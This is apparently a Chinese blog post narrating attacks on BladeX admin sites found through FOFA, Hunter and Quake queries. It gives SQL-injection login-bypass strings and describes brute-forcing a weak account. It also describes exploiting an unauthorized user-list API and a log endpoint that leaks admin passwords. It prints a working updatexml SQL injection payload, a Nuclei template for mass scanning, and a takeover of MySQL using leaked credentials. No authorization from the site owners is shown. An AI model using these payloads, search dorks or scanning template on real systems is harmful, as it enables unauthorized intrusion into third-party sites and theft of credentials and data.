Blade站点的渗透测试到MySQL数据库权限接管

0x1 bladeX简介

最主要的还是带师傅们了解下blade的登录界面了,要让师傅们一眼就认识这个系统框架,有助于我们在做渗透测试的时候快、准、狠拿下这些站点服务

img

0x2 信息收集

这次我的目标比较明确,就是主要打的就是blade的站点,所以我这里直接就可以使用空间引擎,比如国内常用的FOFA、鹰图、360Quake进行一个资产收集。

1、通过icon图标检索

对于新手师傅们可能开始对于blade不知道是什么框架系统,那么可以跟我下面一样,使用最简单的方法,直接在浏览器上检索bladex的icon图标,然后就可以看到下面的一把小铁剑了,这个就是经典的spring二次开发的blade的icon图标了。

img

下面拿我们FOFA举例,利用这个icon图标进行一个检索

复制代码
icon_hash="1047841028"

img

但是这次我主要是针对于这个blade的后台登录管理系统来的,所以这里再点击选择上面的后台管理系统,缩小我们的资产范围

复制代码
icon_hash="1047841028" && product="后台管理系统"

img

2、通过blade关键字

下面是我总结的几个常用的空间检索引擎的语法,针对这几个相关漏洞的一个语法总结

复制代码
body="https://bladex.vip" && product="后台管理系统"
body="https://bladex.vip" && body="后台管理系统"
FOFA

img

鹰图

img

360Quake

img

0x3 渗透测试

一、口令爆破

通过上面的信息收集和资产的汇总,然后剩下的就是就这些站点进行一个测试了,我找的都是一些后台管理登录的,因为我想尝试使用弱口令登录或者如果没有验证码,使用口令爆破的方式登录进去,然后再进行一波系统内部的测试

img

这里使用wappalyzer插件看看这个登录站点的一个使用框架和开发语言的一个情况,可以看到Vue框架的,还有webpack打包,可能存在js.map文件泄露漏洞

img

我这里先是测试了很多弱口令admin:123456/admin等等,但是都没有进去,然后我使用万能密码测试,看看能不能登录进行,但是这个站点没有成功。但是这个也是一个思路,可以在别的站点测试下,这个也给师傅们分享下汇总的一些sql注入万能密码

复制代码
admin'or 1=1--
admin'or' 1=1--
admin"or 1=1--
admin'or''='
admin'OR'1=1%00
admin'and'1'='1'#
admin'and'1'='1
admin'and'1'='1#

就是这里的验证码,有一个bug就是不会刷新,账户密码输入错误,也不会刷新,那么我这里就想着直接尝试爆破,账户密码使用常见的top1000user和passwd进行爆破

img

最后爆破的test1账户成功了

img

直接使用爆破成功的账户密码登录后台成功

img

二、垂直越权

最开始进入后台,我就直接访问了个人信息这里,因为我一般喜欢进入后台,然后看看会不会有文件上传头像的这个功能点,我喜欢打文件上传,然后getshell的操作

img

这里确实存在文件上传的功能点,但是这里一直显示服务器异常,然后一直上传不上去,所以后面就没有打文件上传这个功能点了

然后我就想尝试下像一般blade的接口泄露,包括开始看见了Vue框架,所以我一般都有利用bp的抓历史包的功能,然后点击左边的功能点,然后再进行挨个看历史数据包

img

img

像这样的带user参数的,特别是后面还跟page、size、number等参数的时候,需要特别关注,像这样的接口很容易有 未授权导致的敏感信息泄露

img

师傅们可以看到我这里直接把其余的参数给删掉了,通过拼接参数list,以一个测试账户低权限的用户直接访问到了管理员账户的敏感信息

img

三、泄露管理员账户密码

我这里通过大牛师傅发的微信公众号的blade的1day漏洞,然后找到的这个接口,然后泄露了改系统的日志信息,可以看到下面泄露了token,也就是blade的JWT硬编码漏洞了,感兴趣的师傅在跟着我挖这个漏洞的时候可以去尝试下

复制代码
/api/blade-log/api/list

img

师傅们可以看到在这个log日志泄露里面找到了admin超级管理员的账户密码,这让人很是开心啊

img

四、SQL注入漏洞

这里也是一样的,直接多去翻翻web界面的功能点,然后尽可能多的去分析这个接口,,然后去尝试接口拼接和修改,有些接口的1day可能多被魔改了,我这个站点就是一个经典的案例

公众号的1day的poc是下面的这个:

复制代码
/api/blade-log/error/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1

但是师傅们可以看到,我这里访问直接显示401未授权,那么像师傅们一般遇到这样的可能就放弃了,那么师傅们有没有想过这个接口魔改呢?可能是开发人员进行的一个魔改

img

我这里就是花了很长的一个时间,进行挨个page?参数的后面进行拼接,然后得到的一个能够成功打sql注入漏洞打一个接口,很多公众号或者网上都没有公布,我这个算是一个新思路了

复制代码
/api/blade-system/role/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1

img

针对这个最新的blade魔改的sql注入漏洞的接口路径,很多文章和公众号都进行了打码,所以我这里给师傅们分析下。

下面也是给新手师傅一个福利了,给师傅们利用Nuclei写了一个批量检测sql注入漏洞的脚本:

复制代码
id: template-id
info:
  name: Template Name
  author: xxxx
  severity: info
  description: description
  reference:
    - https://
  tags: tags
http:
  - raw:
      - |+
        GET /api/blade-system/role/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        Upgrade-Insecure-Requests: 1
        Sec-Fetch-Dest: document
        Sec-Fetch-Mode: navigate
        Sec-Fetch-Site: none
        Sec-Fetch-User: ?1
        Te: trailers
        Connection: close

    matchers:
      - type: word
        part: body
        words:
          - 'XPATH syntax error:'

五、通过Navicat拿下MySQL数据库

上面不是通过未授权,然后拿下了admin超级管理员的账户密码嘛,那么这不进去利用一波,那多可惜啊,废话不多说直接上强度。

这里直接使用刚才拿到的账户密码进行一个登录

img

然后也是跟上面一样,多点点功能页面,看看超级管理员比普通用户的能够看到的信息多了哪些部分

然后在数据库管理里面看到了mysql、oracle、sqlserver等数据库服务

img

然后点击查看,直接看到了连接MySQL数据库的IP以及账户密码

img

有了IP和MySQL数据库的账户密码了,那么我们就可以使用Navicat工具进行连接,看看能不能连接成功,然后拿下改数据库

img

可以看到,直接测试连接成功了

img

改站点的所以数据库用户的账户密码以后别的信息全部都接管成功了

相关推荐
Decay__15 分钟前
12_MySQL InnoDB 内存与锁调优 —— Buffer Pool、redo log、隔离级别与锁等待
运维·数据库·sql·mysql·架构
笃行3501 小时前
AI数据库的库内四层结构,KingbaseES 产品拆解
数据库
我是大猴子2 小时前
redis
数据库·redis·缓存
苏宸啊5 小时前
MySQL(一)
数据库·mysql
2603_969694855 小时前
JDBC 基础学习笔记:API 核心原理解析与 CRUD 代码实操
数据库·笔记·mysql·学习方法·database·sql注入
这个DBA有点耶5 小时前
库内语义构建 vs 外挂向量库:业务语义缺失,才是RAG“胡说八道”的根源
数据库·mysql·aigc
kobe_OKOK_7 小时前
mysql 开启 binlog 日志
数据库·mysql
鸽芷咕7 小时前
KingbaseES 调参先看执行计划,参数是答案不是起点
数据库
这个DBA有点耶8 小时前
MySQL 8.0直方图:统计信息升级了,执行计划为什么还是选错?
数据库·mysql·代码规范
老纪的技术唠嗑局10 小时前
把 seekdb 塞进 iOS App:让混合检索嵌入手机
数据库